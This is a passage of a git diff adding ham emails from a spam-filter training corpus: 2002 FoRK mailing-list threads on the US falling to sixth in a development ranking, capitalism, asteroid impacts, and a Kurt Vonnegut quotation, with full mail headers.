b/bayes/spamham/easy_ham_2/00889.3c6000316e0ea3c3700815457821bf9e @@ -0,0 +1,70 @@ +From fork-admin@xent.com Thu Jul 25 22:39:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A7898440E7 + for ; Thu, 25 Jul 2002 17:39:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 22:39:43 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PLbb400313 for ; + Thu, 25 Jul 2002 22:37:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6A3512940E3; Thu, 25 Jul 2002 14:36:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 8413F2940DE for ; + Thu, 25 Jul 2002 14:35:51 -0700 (PDT) +Received: (qmail 6580 invoked by uid 1111); 25 Jul 2002 21:35:42 -0000 +From: "Adam L. Beberg" +To: Tom +Cc: +Subject: Re: USA USA WE ARE NUMBER ....six. +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 14:35:42 -0700 (PDT) + +On Wed, 24 Jul 2002, Tom wrote: + +> "Around the world, there is a growing sense that democracy has not +> delivered development" Sakiko Fukuda-Parr UN report author + +Or perhaps it is the unregulated and out of control capitalism used as a +tool to concentrate wealth and form a greed-based society? + +I notice the top 5 have a good amount of socialism in their systems to +regulate the capitalism, especially in things like health care and +education. + +Just look at our health care - no insurance = no care. Or education - gimme +my voucher so I can get my kids out of the system while their IQ is still +over 20. + +South American countries are currently figuring out just where this +greed-based system ends up, and are looking for a way out. + +It was a fun ride tho wasnt it? + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00890.993e920917e07f2f688ea37fd24d6234 b/bayes/spamham/easy_ham_2/00890.993e920917e07f2f688ea37fd24d6234 new file mode 100644 index 0000000..20a9c14 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00890.993e920917e07f2f688ea37fd24d6234 @@ -0,0 +1,106 @@ +From fork-admin@xent.com Thu Jul 25 23:23:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A4E83440E7 + for ; Thu, 25 Jul 2002 18:23:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 23:23:45 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PMKf402591 for ; + Thu, 25 Jul 2002 23:20:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2FAF52940EC; Thu, 25 Jul 2002 15:19:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp-relay-2.adobe.com (smtp-relay-2.adobe.com + [192.150.11.2]) by xent.com (Postfix) with ESMTP id D6B632940E9 for + ; Thu, 25 Jul 2002 15:18:15 -0700 (PDT) +Received: from inner-relay-1.corp.adobe.com (inner-relay-1 [153.32.1.51]) + by smtp-relay-2.adobe.com (8.12.3/8.12.3) with ESMTP id g6PMFujA010454 for + ; Thu, 25 Jul 2002 15:15:56 -0700 (PDT) +Received: from mailsj-v1.corp.adobe.com (mailsj-dev.corp.adobe.com + [153.32.1.192]) by inner-relay-1.corp.adobe.com (8.12.3/8.12.3) with ESMTP + id g6PMImuE006797 for ; Thu, 25 Jul 2002 15:18:48 -0700 + (PDT) +Received: from [153.32.62.150] ([153.32.62.150]) by + mailsj-v1.corp.adobe.com (Netscape Messaging Server 4.15 v1 Jul 11 2001 + 16:32:57) with ESMTP id GZTSMD00.UHV; Thu, 25 Jul 2002 15:18:13 -0700 +MIME-Version: 1.0 +X-Sender: carkenbe@mailsj-v1 +Message-Id: +In-Reply-To: +References: +To: "Adam L. Beberg" , Tom +From: chris arkenberg +Subject: Re: USA USA WE ARE NUMBER ....six. +Cc: +Content-Type: text/plain; charset="us-ascii" ; format="flowed" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 15:13:57 -0700 + +Cheers, Adam. + +Perhaps people are starting to notice how profit motive drains the +meaning out of their lives. Kinda sucks to be an ant farming for the +corporate lords. Funny how most of the rest of the world is more and +more apprehensive towards American Democracy. + +I just went to DC for the first time. I was awestruck by the +monuments, the words of Thomas Jefferson, the Spirit of Democracy set +in stone. Amazing to think that in little more than 200 years our +government could be so far removed from those honorable principles. +Adam Smith presumed that the marketplace would regulate itself +through morality, good faith, and responsibility. Corporate America +seems to feel that those principles stand in the way of making the +real bucks. How much more can they co-opt and commodify? Get your +copyrights in quick so you can hold on to your piece of the pie. +Health care, public programs, pensions, social security - these are +now regarded as worthless unless they can turn a profit. + +Ah, socialized medicine. Siestas. 6 week vacation leave. I hear Spain +is nice this time of year... + +At 2:35 PM -0700 7/25/02, Adam L. Beberg wrote: +>On Wed, 24 Jul 2002, Tom wrote: +> +>> "Around the world, there is a growing sense that democracy has not +>> delivered development" Sakiko Fukuda-Parr UN report author +> +>Or perhaps it is the unregulated and out of control capitalism used as a +>tool to concentrate wealth and form a greed-based society? +> +>I notice the top 5 have a good amount of socialism in their systems to +>regulate the capitalism, especially in things like health care and +>education. +> +>Just look at our health care - no insurance = no care. Or education - gimme +>my voucher so I can get my kids out of the system while their IQ is still +>over 20. +> +>South American countries are currently figuring out just where this +>greed-based system ends up, and are looking for a way out. +> +>It was a fun ride tho wasnt it? +> +>- Adam L. "Duncan" Beberg +> http://www.mithral.com/~beberg/ +> beberg@mithral.com +> +> +>http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00891.02b734427bfe9bf438eb5961fb5d31f7 b/bayes/spamham/easy_ham_2/00891.02b734427bfe9bf438eb5961fb5d31f7 new file mode 100644 index 0000000..e0ebb29 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00891.02b734427bfe9bf438eb5961fb5d31f7 @@ -0,0 +1,72 @@ +From fork-admin@xent.com Thu Jul 25 23:31:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 05DBD440E7 + for ; Thu, 25 Jul 2002 18:31:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 23:31:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PMTb402970 for ; + Thu, 25 Jul 2002 23:29:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B47D42940F0; Thu, 25 Jul 2002 15:28:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [207.5.62.130]) by xent.com (Postfix) + with ESMTP id 16D282940EC for ; Thu, 25 Jul 2002 15:27:39 + -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Thu, 25 Jul 2002 22:27:36 -08:00 +Message-Id: <3D407B58.3070102@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: chris arkenberg +Cc: fork@spamassassin.taint.org +Subject: Re: USA USA WE ARE NUMBER ....six. +References: + +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 15:27:36 -0700 + +chris arkenberg wrote: +> Cheers, Adam. +> +> Perhaps people are starting to notice how profit motive drains the +> meaning out of their lives. + +And, having realized that, a lot of them are now having babies. +I can't believe the number of friends at work who are now pregnant +or have already just had their babies. + +- Joe + +P.S. Who said that the US was required to be number 1 +at all times??? What's so bad about 6? + +-- +Left behind the bars +Rows of Bishops' heads in jars +And a bomb inside a car +Spectacular, spectacular + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00892.53fec2d812b3f0b5b9a62de95308f7c9 b/bayes/spamham/easy_ham_2/00892.53fec2d812b3f0b5b9a62de95308f7c9 new file mode 100644 index 0000000..dde0cb8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00892.53fec2d812b3f0b5b9a62de95308f7c9 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Fri Jul 26 00:07:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8A927440E7 + for ; Thu, 25 Jul 2002 19:07:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 00:07:35 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PN2f405029 for ; + Fri, 26 Jul 2002 00:02:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C26492940ED; Thu, 25 Jul 2002 16:01:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx2.ucsc.edu [128.114.129.35]) by + xent.com (Postfix) with ESMTP id 29D442940E6 for ; + Thu, 25 Jul 2002 16:00:41 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g6PN09018442; Thu, + 25 Jul 2002 16:00:09 -0700 (PDT) +From: "Jim Whitehead" +To: "Joseph S. Barrera III" +Cc: +Subject: RE: USA USA WE ARE NUMBER ....six. +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +In-Reply-To: <3D407B58.3070102@barrera.org> +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 15:58:23 -0700 + +> chris arkenberg wrote: +> > Cheers, Adam. +> > +> > Perhaps people are starting to notice how profit motive drains the +> > meaning out of their lives. +> +> And, having realized that, a lot of them are now having babies. +> I can't believe the number of friends at work who are now pregnant +> or have already just had their babies. + +.boom? + +- Jim +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00893.42f0203ce0191127b4053c01b7079b76 b/bayes/spamham/easy_ham_2/00893.42f0203ce0191127b4053c01b7079b76 new file mode 100644 index 0000000..7d94721 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00893.42f0203ce0191127b4053c01b7079b76 @@ -0,0 +1,99 @@ +From fork-admin@xent.com Fri Jul 26 00:28:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2B643440E8 + for ; Thu, 25 Jul 2002 19:28:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 00:28:32 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PNSc406440 for ; + Fri, 26 Jul 2002 00:28:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C01C32940F0; Thu, 25 Jul 2002 16:27:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from agora.microshaft.org (agora.microshaft.org [208.201.249.5]) + by xent.com (Postfix) with ESMTP id 4375D2940ED for ; + Thu, 25 Jul 2002 16:26:10 -0700 (PDT) +Received: (from jono@localhost) by agora.microshaft.org (8.11.6/8.11.6) id + g6PMmkd91820; Thu, 25 Jul 2002 15:48:46 -0700 (PDT) (envelope-from jono) +From: "Jon O." +To: bitbitch@magnesium.net +Cc: garym@canada.com, fork@spamassassin.taint.org +Subject: Re: Asteroids anyone ? +Message-Id: <20020725154846.M85654@networkcommand.com> +Reply-To: "jono@networkcommand.com" +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2784.192.216.194.113.1027554358.squirrel@webmail.magnesium.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <2784.192.216.194.113.1027554358.squirrel@webmail.magnesium.net>; + from bitbitch@magnesium.net on Wed, Jul 24, 2002 at 04:45:58PM -0700 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 15:48:46 -0700 + + + +Has anyone considered the fact that these occurrances appear to +be increasing. I'm aware that maybe more publicity surrounding +some and certain agencies have been granted more funding, but +I'd like to see some data which shows if these are increasing +or not. + +Why? Well, it seems to me if we were going to get hit, the one +that does it may have been part of a larger swarm or cluster +which has over the years increased the distance between the +rocks. Like the Schumaker Levy-9, which had multiple rocks +all impacting at different times, others may have this same +type of design and could be in different stages of increasing +distance from one another. Also to consider is if SL-9 was +on course for earth, would we get hit by all rocks or only +one because the earth is a much smaller target than Jupiter? + +So, my theory is that if these near earth rocks are increasing +so does our chance of discovering the last three were part of +a swarm of 15 of which 10, 11 and 12 may hit. + + + +On 24-Jul-2002, bitbitch@magnesium.net wrote: +> > +> > Hit or miss, Groundhog Day 2019 is going to be one heck of a show. Book +> > early, avoid the rush. +> +> Hey, meybee by then, Bush's grand plan for a missle defense system will +> actually pan out and -work- ... +> I'm not holding my breath, but i'm not going to panic for something thats +> a little under 17 years away, either. +> -c +> +> > +> > -- +> > Gary Lawrence Murphy TeleDynamics Communications +> > Inc Business Innovations Through Open Source Systems: +> > http://www.teledyn.com "Computers are useless. They can only give you +> > answers."(Pablo Picasso) +> > +> > http://xent.com/mailman/listinfo/fork +> +> +> +> http://xent.com/mailman/listinfo/fork +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00894.8c00344d3c4a93ec11b9dec2f262c556 b/bayes/spamham/easy_ham_2/00894.8c00344d3c4a93ec11b9dec2f262c556 new file mode 100644 index 0000000..19e30ca --- /dev/null +++ b/bayes/spamham/easy_ham_2/00894.8c00344d3c4a93ec11b9dec2f262c556 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Fri Jul 26 00:46:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 00845440E7 + for ; Thu, 25 Jul 2002 19:46:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 00:46:32 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PNmb407543 for ; + Fri, 26 Jul 2002 00:48:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 464482940F2; Thu, 25 Jul 2002 16:47:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id ED9F52940E3 for ; Thu, + 25 Jul 2002 16:46:43 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 5FAF93ED56; + Thu, 25 Jul 2002 19:46:26 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 5E4A93EB48; Thu, 25 Jul 2002 19:46:26 -0400 (EDT) +From: Tom +To: "Joseph S. Barrera III" +Cc: chris arkenberg , +Subject: Re: USA USA WE ARE NUMBER ....six. +In-Reply-To: <3D407B58.3070102@barrera.org> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 19:46:26 -0400 (EDT) + +On Thu, 25 Jul 2002, Joseph S. Barrera III wrote: + +--]And, having realized that, a lot of them are now having babies. +--]I can't believe the number of friends at work who are now pregnant +--]or have already just had their babies. + +We hope that in the next generation we can bring back what we once thought +of as our future, or more aptly thier future will be a shade better than +what ours is turning out to be. + +I cant help but appologise to my wifes bulging middle in these last few +dyas of the pregancy. I wanted so much more for him. My daughter and I +talk about this in the ways an 8 year old can with a 39 year old. She +realizes things are not all they could have been, but shes sort of ready +for the challange. She told me the other day she would get to the moon if +I dont. Gota love kids, they say the coolest things at just the right +times. + +As for profit and the drive towars it...moeny is simply a tool,simply one +way of many to facilitate living the life you want. Too many have taken +the tool for the goal, the race for the prize and the notion that first is +all. + +Yea yea, this sad burlesque. + +-tom + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00895.698c3fa5c54db3f9a4c962baf13567fb b/bayes/spamham/easy_ham_2/00895.698c3fa5c54db3f9a4c962baf13567fb new file mode 100644 index 0000000..d0dde8c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00895.698c3fa5c54db3f9a4c962baf13567fb @@ -0,0 +1,79 @@ +From fork-admin@xent.com Fri Jul 26 00:59:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 48F56440E7 + for ; Thu, 25 Jul 2002 19:59:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 00:59:30 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PNwe407996 for ; + Fri, 26 Jul 2002 00:58:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6C2E8294103; Thu, 25 Jul 2002 16:57:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 684132940F2 for ; Thu, + 25 Jul 2002 16:56:36 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id B253D3ED79; + Thu, 25 Jul 2002 19:56:46 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id B0FD63ED6F for ; Thu, + 25 Jul 2002 19:56:46 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Subject: Wear Sunscreen +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 19:56:46 -0400 (EDT) + + +"Yes, and Eliza and I composed a precocious critique of the Constitution +of the United States of America, too. We argued that it was as good a +scheme for misery as any, since its success in keeping the common people +reasonably happy and proud depended on the strength of the people +themselves - and yet it described no practical machinery which would tend +to make the people, as opposed to their elected representatives, strong. + We said it was possible that the framers of the Constitution were +blind to the beauty of persons who were without great wealth or powerful +friends or public office, but who were nonetheless genuinely strong. + We thought it was more likely, though, that the framers had not +noticed that it was natural, and therefore almost inevitable, that human +beings in extraordinary and enduring situations should think of themselves +as composing new families. Eliza and I pointed out that this happened no +less in democracies than in tyrannies, since human beings were the same +the wide world over, and civilized only yesterday. + Elected representatives, hence, could be expected to become members of +the famous and powerful family of elected representatives - which would, +perfectly naturally, make them wary and squeamish and stingy with respect +to all the other sorts of families which, again, perfectly naturally, +subdivided mankind. + Eliza and I, thinking as halves of a single genius, proposed that the +Constitution be amended so as to guarantee that every citizen, no matter +how humble or crazy or incompetent or deformed, somehow be given +membership in some family as covertly xenophobic and crafty as the one +their public servants formed. + Good for Eliza and me! + Hi ho." + +Kurt V +Slapstick + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00896.61fc773e2dfba14cee4a58a2996e5597 b/bayes/spamham/easy_ham_2/00896.61fc773e2dfba14cee4a58a2996e5597 new file mode 100644 index 0000000..dadfe69 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00896.61fc773e2dfba14cee4a58a2996e5597 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Fri Jul 26 01:24:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 91E0E440E7 + for ; Thu, 25 Jul 2002 20:24:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 01:24:54 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6Q0Lc409208 for ; + Fri, 26 Jul 2002 01:21:39 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 999352940F8; Thu, 25 Jul 2002 17:20:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [63.145.31.2]) by xent.com (Postfix) + with ESMTP id B58522940F0 for ; Thu, 25 Jul 2002 17:19:13 + -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Fri, 26 Jul 2002 00:18:57 -08:00 +Message-Id: <3D409571.5080608@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Tom +Cc: fork@spamassassin.taint.org +Subject: Re: Wear Sunscreen +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 17:18:57 -0700 + +Tom wrote: +> Eliza and I, thinking as halves of a single genius, proposed that the +> Constitution be amended so as to guarantee that every citizen, no matter +> how humble or crazy or incompetent or deformed, somehow be given +> membership in some family as covertly xenophobic and crafty as the one +> their public servants formed. + +That was Such a Fucking Depressing Book. +I must have read it seven or eight times. + +- Joe Daisy-38 Barrera. +-- +Left behind the bars +Rows of Bishops' heads in jars +And a bomb inside a car +Spectacular, spectacular + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00897.d61b96a3658c79ec85a760b887506112 b/bayes/spamham/easy_ham_2/00897.d61b96a3658c79ec85a760b887506112 new file mode 100644 index 0000000..fb3c506 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00897.d61b96a3658c79ec85a760b887506112 @@ -0,0 +1,82 @@ +From fork-admin@xent.com Fri Jul 26 04:08:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E872C440E7 + for ; Thu, 25 Jul 2002 23:08:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 04:08:55 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6Q3Ae420414 for ; + Fri, 26 Jul 2002 04:10:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BA5692940F3; Thu, 25 Jul 2002 20:09:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 373D72940E2 for ; + Thu, 25 Jul 2002 20:08:21 -0700 (PDT) +Received: from maya.dyndns.org (ts5-013.ptrb.interhop.net + [165.154.190.77]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6Q2hSE04547; Thu, 25 Jul 2002 22:43:28 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id A2F381C39E; + Thu, 25 Jul 2002 23:00:23 -0400 (EDT) +To: "jono@networkcommand.com" +Cc: fork@spamassassin.taint.org +Subject: Re: Asteroids anyone ? +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2784.192.216.194.113.1027554358.squirrel@webmail.magnesium.net> + <20020725154846.M85654@networkcommand.com> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 25 Jul 2002 23:00:23 -0400 + +>>>>> "J" == Jon O writes: + + J> So, my theory is that if these near earth rocks are increasing + J> so does our chance of discovering the last three were part of a + J> swarm of 15 of which 10, 11 and 12 may hit. + +To actually answer the question, each of the last three reports was +hurling down a different "tube" so, no, they are not related, but yes, +each tube contains an uneven distribution of stuff that only /peaks/ +near the biggest chunks. It would actually be pretty amazing to find +any repeat visitor still in one piece after it's solar perigee. Space +in that neighbourhood is warped like a cheese-grater. We can expect +one (or more) really big mother(s), surrounded by lots of cute little +'uns smeared out in the crest of its gravity wave. + +Another curious artifact of the old-and-periodic rock data is the +bigger rocks are on the outer edge of the tubes: Relativistic effects +on the redshift/blueshift of the particle solar heating differential +on either side of each bit slow the smaller less-massive (and more +easily pushed) particles dropping them into lower orbits ... or at +least, that's our best theory. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00898.b1a18faabb5353af6a2ad8a156d3bfbe b/bayes/spamham/easy_ham_2/00898.b1a18faabb5353af6a2ad8a156d3bfbe new file mode 100644 index 0000000..5723ab5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00898.b1a18faabb5353af6a2ad8a156d3bfbe @@ -0,0 +1,158 @@ +From fork-admin@xent.com Fri Jul 26 04:14:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F1018440E7 + for ; Thu, 25 Jul 2002 23:14:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 04:14:05 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6Q3EH420499 